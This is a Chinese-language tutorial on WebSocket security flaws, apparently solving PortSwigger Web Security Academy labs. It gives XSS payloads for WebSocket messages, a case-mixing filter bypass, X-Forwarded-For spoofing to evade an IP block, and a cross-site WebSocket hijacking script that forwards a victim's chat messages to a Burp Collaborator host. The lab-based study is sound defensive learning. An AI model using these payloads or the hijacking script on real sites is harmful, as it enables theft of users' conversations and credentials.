WebSocket安全漏洞

一、基础知识

1. 什么是WebSocket

WebSocket是通过HTTP启动的双向、全双工通信协议。它们通常用于流式传输数据和其他异步流量的现代Web应用程序中。最常见的是网站中的聊天机器人

2. 与HTTP的区别

WebSocket连接是通过HTTP发起，通常是长期存在的。消息可以随时向任何一个方向发送，并且本质上不是事务性的。连接通常保持打开和空闲状态，直到客户端或服务器发送消息。
WebSocket在需要低延迟或服务器发起消息的情况下特别有用，例如金融数据的实时馈送。

使用HTTP时，客户端发送请求，服务器返回响应。通常响应立即发生，事务完成。即使网络连接保持打开，请求和响应也是单独的事务。这一点和websocket本质上不同。

3. WebSocket 链接建立过程

client-side JavaScript 用于定义链接

var ws = new WebSocket("wss://normal-website.com/chat");

浏览器发出WebSocket握手请求

GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket

返回WebSocket握手响应

HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=

网络连接保持打开状态，可用于在任一方向上发送WebSocket消息。

ws.send("Peter Wiener"); //客户端发送消息
{"user":"Hal Pline","content":"I wanted to be a Playstation growing up, not a device to answer your inane questions"} //通常JSON格式回复信息

4. 使用工具操作WebSocket流量

（1）拦截和修改WebSocket消息
（2）重播和生成新的WebSocket消息
（3）操纵WebSocket连接

二、漏洞利用

任何WEB安全问题都会出现在WebSockets中

SQL 注入
OAST
XSS
…

1. 篡改WebSocket消息内容

正常的信息交互如下：
{"message":"Hello Carlos"} 显示结果为 <td>Hello Carlos</td>
若无过滤，信息可修改为
{"message":"<img src=1 onerror='alert(1)'>"}

例题1

2. 操纵WebSocket握手以利用漏洞

某些WebSockets漏洞只能通过操纵WebSocket握手来发现和利用。这些漏洞往往涉及设计缺陷，

错误信任HTTP标头以执行安全决策，例如X-Forwarded-For标头。
会话处理机制存在缺陷，因为处理WebSocket消息的会话上下文通常由握手消息的会话上下文确定。
由应用程序使用的自定义HTTP标头引入的攻击面。

例题2

扫描二维码关注公众号，回复： 14274332 查看本文章

3. 跨站点WebSocket劫持 (CSWSH)

WebSocket握手上存在跨站点请求伪造(CSRF)漏洞时，可以构造跨站点WebSocket劫持攻击。

不要忘了CSRF三要素哈

CSWSH的影响

伪装成受害用户执行未经授权的操作。
检索用户可以访问的敏感数据。（与传统的CSRF不同，通过被劫持的WebSocket与易受攻击的应用程序进行双向交互。）

攻击构造

检查应用程序执行的WebSocket握手，并确定它们是否受到CSRF的保护。（三要素）
攻击者的网页可以执行跨站点请求，以打开目标站点上的WebSocket。
依据具体的实现逻辑尝试
- 伪装成用户执行未授权操作
- 发送WebSocket消息以检索敏感数据。
- 只是等待包含敏感数据的传入消息

例题3

三、漏洞实例

1. 操纵WebSocket消息以利用漏洞(Manipulating WebSocket messages to exploit vulnerabilities)

本题及其简单，仅仅是熟悉Burp如何拦截使用WebSocket的操作而已。或者直接使用网站页面直接输入即可。
<img src=1 onerror=alert(1)>

2. 纵WebSocket握手以利用漏洞（Manipulating the WebSocket handshake to exploit vulnerabilities）

按上题思路尝试，发现IP被封。关键字（）JavaScript onerror 等被禁
（1）X-Forwarded-For更新IP后，可重新连接
（2）反单引号、大小写绕过等技术
{"message":"<img src=1 oNErRor=alert1>"}

3. 跨站点WebSocket劫持（Cross-site WebSocket hijacking）

目标:获取目标用户聊天记录，获取登录账号口令等敏感信息，登录其账户。
（1）查看WebSocket相关信息

GET /chat HTTP/1.1
Host: ac351fbb1f9283b3c0951a8f008900c7.web-security-academy.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Sec-WebSocket-Version: 13
Origin: https://ac351fbb1f9283b3c0951a8f008900c7.web-security-academy.net
Sec-WebSocket-Key: YMjuNMYTvLI96SD0GLDM0A==
Connection: keep-alive, Upgrade
Cookie: session=81Q5ZYqw7qoiHwleuELCxRHqOM3nQ1z2
Sec-Fetch-Dest: websocket
Sec-Fetch-Mode: websocket
Sec-Fetch-Site: same-origin
Pragma: no-cache
Cache-Control: no-cache
Upgrade: websocket

（2）利用攻击机发送构造的恶意代码
里面用到了Burp的collaborator（OAST外带技术来接受目标用户的敏感信息）–后续文章将详细介绍burp各相功能，异常强大好用。
将代码使用攻击机发送给目标用户。实施CSRF攻击，让用户建立WebSocket连接。我们使用burp-burpcollaborator查看聊天内容。

<script>  
    var ws = new WebSocket('wss://ac351fbb1f9283b3c0951a8f008900c7.web-security-academy.net/chat');
    ws.onopen = function() {
      
         // wss://聊天机器人页面地址
        ws.send("READY");
    };
    ws.onmessage = function(event) {
      
       // 此处url为burp-burpcollaborator的url
        fetch('https://g7o3loj3is5fvrfiwjg9pfuuolubi0.burpcollaborator.net', {
      
      method: 'POST', mode: 'no-cors', body: event.data});
    };
</script>